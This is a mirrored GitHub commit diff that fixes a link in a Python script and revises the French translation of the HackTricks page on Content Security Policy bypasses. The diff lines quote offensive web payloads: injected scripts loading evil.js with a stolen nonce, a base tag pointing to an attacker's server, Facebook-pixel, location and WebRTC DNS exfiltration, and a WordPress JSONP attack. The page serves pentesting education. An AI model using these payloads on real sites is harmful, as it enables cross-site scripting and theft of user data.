mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/external-recon-meth
This commit is contained in:
Translator
parent
ec337789ff
commit
d051de4a55
@ -78,6 +78,9 @@ def ref(matchobj):
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
if href.endswith("/README.md"):
|
||||
href = href.replace("/README.md", "/index.html")
|
||||
|
||||
template = f"""<a class="content_ref" href="{href}"><span class="content_ref_label">{title}</span></a>"""
|
||||
|
||||
# translate_table = str.maketrans({"\"":"\\\"","\n":"\\n"})
|
||||
|
||||
@ -58,13 +58,13 @@ object-src 'none';
|
||||
- **report-to**: Spécifie un groupe auquel un rapport sera envoyé si la politique est violée.
|
||||
- **worker-src**: Spécifie les sources valides pour les scripts Worker, SharedWorker ou ServiceWorker.
|
||||
- **prefetch-src**: Spécifie les sources valides pour les ressources qui seront récupérées ou pré-récupérées.
|
||||
- **navigate-to**: Restreint les URL vers lesquelles un document peut naviguer par tous les moyens (a, form, window.location, window.open, etc.)
|
||||
- **navigate-to**: Restreint les URL vers lesquelles un document peut naviguer par tous moyens (a, form, window.location, window.open, etc.)
|
||||
|
||||
### Sources
|
||||
|
||||
- `*`: Permet toutes les URL sauf celles avec les schémas `data:`, `blob:`, `filesystem:`.
|
||||
- `'self'`: Permet le chargement depuis le même domaine.
|
||||
- `'data'`: Permet le chargement de ressources via le schéma de données (par exemple, images encodées en Base64).
|
||||
- `'data'`: Permet le chargement de ressources via le schéma de données (par exemple, des images encodées en Base64).
|
||||
- `'none'`: Bloque le chargement depuis toute source.
|
||||
- `'unsafe-eval'`: Permet l'utilisation de `eval()` et de méthodes similaires, non recommandé pour des raisons de sécurité.
|
||||
- `'unsafe-hashes'`: Active des gestionnaires d'événements en ligne spécifiques.
|
||||
@ -94,7 +94,7 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
|
||||
- `https:`: Restreint les URL à celles qui utilisent HTTPS.
|
||||
- `blob:`: Permet de charger des ressources à partir d'URL Blob (par exemple, des URL Blob créées via JavaScript).
|
||||
- `filesystem:`: Permet de charger des ressources à partir du système de fichiers.
|
||||
- `'report-sample'`: Inclut un échantillon du code enfreignant dans le rapport de violation (utile pour le débogage).
|
||||
- `'report-sample'`: Inclut un échantillon du code violant dans le rapport de violation (utile pour le débogage).
|
||||
- `'strict-origin'`: Semblable à 'self' mais garantit que le niveau de sécurité du protocole des sources correspond au document (seules les origines sécurisées peuvent charger des ressources à partir d'origines sécurisées).
|
||||
- `'strict-origin-when-cross-origin'`: Envoie des URL complètes lors de la réalisation de requêtes de même origine mais envoie uniquement l'origine lorsque la requête est inter-origine.
|
||||
- `'unsafe-allow-redirects'`: Permet de charger des ressources qui redirigeront immédiatement vers une autre ressource. Non recommandé car cela affaiblit la sécurité.
|
||||
@ -128,7 +128,7 @@ Charge utile fonctionnelle :
|
||||
|
||||
Si vous parvenez d'une manière ou d'une autre à faire en sorte qu'un **code JS autorisé crée une nouvelle balise script** dans le DOM avec votre code JS, parce qu'un script autorisé la crée, la **nouvelle balise script sera autorisée à être exécutée**.
|
||||
|
||||
### Wildcard (*)
|
||||
### Wildcard (\*)
|
||||
```yaml
|
||||
Content-Security-Policy: script-src 'self' https://google.com https: data *;
|
||||
```
|
||||
@ -161,7 +161,7 @@ Payload fonctionnel :
|
||||
```
|
||||
Cependant, il est très probable que le serveur **valide le fichier téléchargé** et n'autorise que le **téléchargement de types de fichiers déterminés**.
|
||||
|
||||
De plus, même si vous pouviez télécharger un **code JS à l'intérieur** d'un fichier avec une extension acceptée par le serveur (comme : _script.png_), cela ne suffira pas car certains serveurs comme le serveur apache **sélectionnent le type MIME du fichier en fonction de l'extension** et des navigateurs comme Chrome **refuseront d'exécuter du code Javascript** à l'intérieur de quelque chose qui devrait être une image. "Espérons-le", il y a des erreurs. Par exemple, lors d'un CTF, j'ai appris que **Apache ne connaît pas** l'extension _**.wave**_, donc il ne la sert pas avec un **type MIME comme audio/\***.
|
||||
De plus, même si vous pouviez télécharger un **code JS à l'intérieur** d'un fichier avec une extension acceptée par le serveur (comme : _script.png_), cela ne suffira pas car certains serveurs comme le serveur apache **sélectionnent le type MIME du fichier en fonction de l'extension** et des navigateurs comme Chrome **refuseront d'exécuter le code Javascript** à l'intérieur de quelque chose qui devrait être une image. "Espérons-le", il y a des erreurs. Par exemple, lors d'un CTF, j'ai appris que **Apache ne connaît pas** l'extension _**.wave**_, donc il ne la sert pas avec un **type MIME comme audio/\***.
|
||||
|
||||
À partir de là, si vous trouvez un XSS et un téléchargement de fichier, et que vous parvenez à trouver une **extension mal interprétée**, vous pourriez essayer de télécharger un fichier avec cette extension et le contenu du script. Ou, si le serveur vérifie le format correct du fichier téléchargé, créez un polyglot ([quelques exemples de polyglots ici](https://github.com/Polydet/polyglot-database)).
|
||||
|
||||
@ -260,7 +260,7 @@ b=doc.createElement("script");
|
||||
b.src="//example.com/evil.js";
|
||||
b.nonce=a.nonce; doc.body.appendChild(b)' />
|
||||
```
|
||||
#### Abuser de www.google.com pour une redirection ouverte
|
||||
#### Abuser de www.google.com pour un redirection ouverte
|
||||
|
||||
L'URL suivante redirige vers example.com (depuis [ici](https://www.landh.tech/blog/20240304-google-hack-50000/)):
|
||||
```
|
||||
@ -292,7 +292,7 @@ La même vulnérabilité se produira si le **point de terminaison de confiance c
|
||||
|
||||
Comme décrit dans le [post suivant](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), il existe de nombreux domaines tiers, qui pourraient être autorisés quelque part dans le CSP, pouvant être abusés pour soit exfiltrer des données, soit exécuter du code JavaScript. Certains de ces tiers sont :
|
||||
|
||||
| Entité | Domaine autorisé | Capacités |
|
||||
| Entité | Domaine Autorisé | Capacités |
|
||||
| ----------------- | ------------------------------------------- | ------------ |
|
||||
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
|
||||
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
|
||||
@ -322,7 +322,7 @@ Vous devriez être en mesure d'exfiltrer des données, de la même manière qu'i
|
||||
5. Allez dans "Gestionnaire d'événements" de votre application et sélectionnez l'application que vous avez créée (notez que le gestionnaire d'événements pourrait être trouvé dans une URL similaire à ceci : https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
|
||||
6. Sélectionnez l'onglet "Événements de test" pour voir les événements envoyés par "votre" site web.
|
||||
|
||||
Ensuite, du côté de la victime, vous exécutez le code suivant pour initialiser le pixel de suivi Facebook pour pointer vers l'ID d'application du compte développeur Facebook de l'attaquant et émettre un événement personnalisé comme ceci :
|
||||
Ensuite, du côté de la victime, vous exécutez le code suivant pour initialiser le pixel de suivi Facebook afin de pointer vers l'ID d'application du compte développeur Facebook de l'attaquant et émettre un événement personnalisé comme ceci :
|
||||
```JavaScript
|
||||
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
|
||||
fbq('trackCustom', 'My-Custom-Event',{
|
||||
@ -343,11 +343,11 @@ Le navigateur chargera finalement `https://example.com/scripts/angular/angular.j
|
||||
|
||||
Cela fonctionne parce que pour le navigateur, vous chargez un fichier nommé `..%2fangular%2fangular.js` situé sous `https://example.com/scripts/react/`, ce qui est conforme au CSP.
|
||||
|
||||
∑, ils le décoderont, demandant effectivement `https://example.com/scripts/react/../angular/angular.js`, ce qui est équivalent à `https://example.com/scripts/angular/angular.js`.
|
||||
∑, ils le décoderont, demandant effectivement `https://example.com/scripts/react/../angular/angular.js`, ce qui équivaut à `https://example.com/scripts/angular/angular.js`.
|
||||
|
||||
En **exploité cette incohérence dans l'interprétation des URL entre le navigateur et le serveur, les règles de chemin peuvent être contournées**.
|
||||
En **exploiter cette incohérence dans l'interprétation des URL entre le navigateur et le serveur, les règles de chemin peuvent être contournées**.
|
||||
|
||||
La solution consiste à ne pas traiter `%2f` comme `/` côté serveur, garantissant une interprétation cohérente entre le navigateur et le serveur pour éviter ce problème.
|
||||
La solution est de ne pas traiter `%2f` comme `/` côté serveur, garantissant une interprétation cohérente entre le navigateur et le serveur pour éviter ce problème.
|
||||
|
||||
Exemple en ligne :[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
|
||||
|
||||
@ -362,7 +362,7 @@ Exemple en ligne :[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsb
|
||||
Si la directive **base-uri** est manquante, vous pouvez en abuser pour effectuer une [**injection de balisage pendante**](../dangling-markup-html-scriptless-injection/index.html).
|
||||
|
||||
De plus, si la **page charge un script en utilisant un chemin relatif** (comme `<script src="/js/app.js">`) en utilisant un **Nonce**, vous pouvez abuser de la **balise** **base** pour faire **charger** le script depuis **votre propre serveur, réalisant ainsi un XSS.**\
|
||||
Si la page vulnérable est chargée avec **httpS**, utilisez une URL httpS dans la base.
|
||||
Si la page vulnérable est chargée avec **httpS**, utilisez une URL httpS dans la balise de base.
|
||||
```html
|
||||
<base href="https://www.attacker.com/" />
|
||||
```
|
||||
@ -557,7 +557,7 @@ src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
|
||||
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
|
||||
```
|
||||
Dans [**ce rapport CTF**](https://github.com/aszx87410/ctf-writeups/issues/48), il était possible via **HTML injection** de **restreindre** davantage un **CSP** afin qu'un script empêchant le CSTI soit désactivé et donc la **vulnérabilité est devenue exploitable.**\
|
||||
Le CSP peut être rendu plus restrictif en utilisant **HTML meta tags** et les scripts en ligne peuvent désactiver **la suppression** de l'**entrée** permettant leur **nonce** et **activer des scripts en ligne spécifiques via sha** :
|
||||
Le CSP peut être rendu plus restrictif en utilisant **HTML meta tags** et les scripts en ligne peuvent désactiver **la suppression** de **l'entrée** permettant leur **nonce** et **activer des scripts en ligne spécifiques via sha** :
|
||||
```html
|
||||
<meta
|
||||
http-equiv="Content-Security-Policy"
|
||||
@ -566,11 +566,11 @@ content="script-src 'self'
|
||||
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
|
||||
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';" />
|
||||
```
|
||||
### Exfiltration JS avec Content-Security-Policy-Report-Only
|
||||
### JS exfiltration avec Content-Security-Policy-Report-Only
|
||||
|
||||
Si vous parvenez à faire en sorte que le serveur réponde avec l'en-tête **`Content-Security-Policy-Report-Only`** avec une **valeur contrôlée par vous** (peut-être à cause d'un CRLF), vous pourriez le faire pointer vers votre serveur et si vous **enveloppez** le **contenu JS** que vous souhaitez exfiltrer avec **`<script>`** et parce que `unsafe-inline` n'est probablement pas autorisé par le CSP, cela **déclenchera une erreur CSP** et une partie du script (contenant les informations sensibles) sera envoyée au serveur depuis `Content-Security-Policy-Report-Only`.
|
||||
|
||||
Pour un exemple [**vérifiez ce writeup CTF**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
|
||||
Pour un exemple [**vérifiez ce CTF writeup**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
|
||||
|
||||
### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/)
|
||||
```javascript
|
||||
@ -625,16 +625,16 @@ SOME est une technique qui abuse d'un XSS (ou d'un XSS très limité) **dans un
|
||||
../xss-cross-site-scripting/some-same-origin-method-execution.md
|
||||
{{#endref}}
|
||||
|
||||
De plus, **wordpress** a un point de terminaison **JSONP** dans `/wp-json/wp/v2/users/1?_jsonp=data` qui va **réfléchir** les **données** envoyées dans la sortie (avec la limitation de n'autoriser que les lettres, les chiffres et les points).
|
||||
De plus, **wordpress** a un point de terminaison **JSONP** dans `/wp-json/wp/v2/users/1?_jsonp=data` qui va **réfléchir** les **données** envoyées dans la sortie (avec la limitation de seulement des lettres, des chiffres et des points).
|
||||
|
||||
Un attaquant peut abuser de ce point de terminaison pour **générer une attaque SOME** contre WordPress et **l'incorporer** à l'intérieur de `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` notez que ce **script** sera **chargé** car il est **autorisé par 'self'**. De plus, et parce que WordPress est installé, un attaquant pourrait abuser de l'**attaque SOME** via le point de terminaison **vulnérable** **callback** qui **contourne le CSP** pour donner plus de privilèges à un utilisateur, installer un nouveau plugin...\
|
||||
Pour plus d'informations sur la façon de réaliser cette attaque, consultez [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
|
||||
|
||||
## CSP Exfiltration Bypasses
|
||||
## Contournements d'exfiltration CSP
|
||||
|
||||
S'il existe un CSP strict qui ne vous permet pas de **interagir avec des serveurs externes**, il y a certaines choses que vous pouvez toujours faire pour exfiltrer les informations.
|
||||
S'il y a un CSP strict qui ne vous permet pas de **interagir avec des serveurs externes**, il y a certaines choses que vous pouvez toujours faire pour exfiltrer les informations.
|
||||
|
||||
### Location
|
||||
### Emplacement
|
||||
|
||||
Vous pourriez simplement mettre à jour l'emplacement pour envoyer au serveur de l'attaquant les informations secrètes :
|
||||
```javascript
|
||||
@ -680,7 +680,7 @@ X-DNS-Prefetch-Control: off
|
||||
|
||||
Sur plusieurs pages, vous pouvez lire que **WebRTC ne vérifie pas la politique `connect-src`** du CSP.
|
||||
|
||||
En fait, vous pouvez _leak_ des informations en utilisant une _requête DNS_. Consultez ce code :
|
||||
En fait, vous pouvez _leak_ des informations en utilisant une _demande DNS_. Consultez ce code :
|
||||
```javascript
|
||||
;(async () => {
|
||||
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
|
||||
@ -702,7 +702,7 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
|
||||
```
|
||||
### CredentialsContainer
|
||||
|
||||
La fenêtre contextuelle des identifiants envoie une requête DNS à l'iconURL sans être restreinte par la page. Elle ne fonctionne que dans un contexte sécurisé (HTTPS) ou sur localhost.
|
||||
La fenêtre contextuelle des identifiants envoie une requête DNS à l'iconURL sans être restreinte par la page. Cela ne fonctionne que dans un contexte sécurisé (HTTPS) ou sur localhost.
|
||||
```javascript
|
||||
navigator.credentials.store(
|
||||
new FederatedCredential({
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user